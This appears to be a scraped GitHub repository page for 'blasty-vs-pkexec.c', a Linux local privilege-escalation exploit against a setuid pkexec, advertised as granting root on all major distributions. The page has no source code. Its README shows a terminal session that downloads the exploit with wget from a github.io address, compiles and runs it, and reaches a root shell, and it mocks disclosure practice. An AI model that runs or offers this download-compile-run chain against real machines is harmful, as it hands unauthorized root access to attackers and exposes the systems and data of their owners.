g1f1 / blasty-vs-pkexec.c

🐧MAJOR BUG GRANTS ROOT FOR ALL MAJOR LINUX DISTRIBUTIONS

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

🐧MAJOR BUG GRANTS ROOT FOR ALL MAJOR LINUX DISTRIBUTIONS

CTF quality exploit

bla bla irresponsible disclosure

terminal:

user@linux:~$ wget https://g1f1.github.io/blasty-vs-pkexec.c/blasty-vs-pkexec.c
user@linux:~$ gcc -o blasty blasty-vs-pkexec.c
user@linux:~$ ./blasty
[~] compile helper..
[~] maybe get shell now?
# whoami
root

exploitation when debugging:

pkexec must be setuid root

About

🐧MAJOR BUG GRANTS ROOT FOR ALL MAJOR LINUX DISTRIBUTIONS


Languages

Language:C 100.0%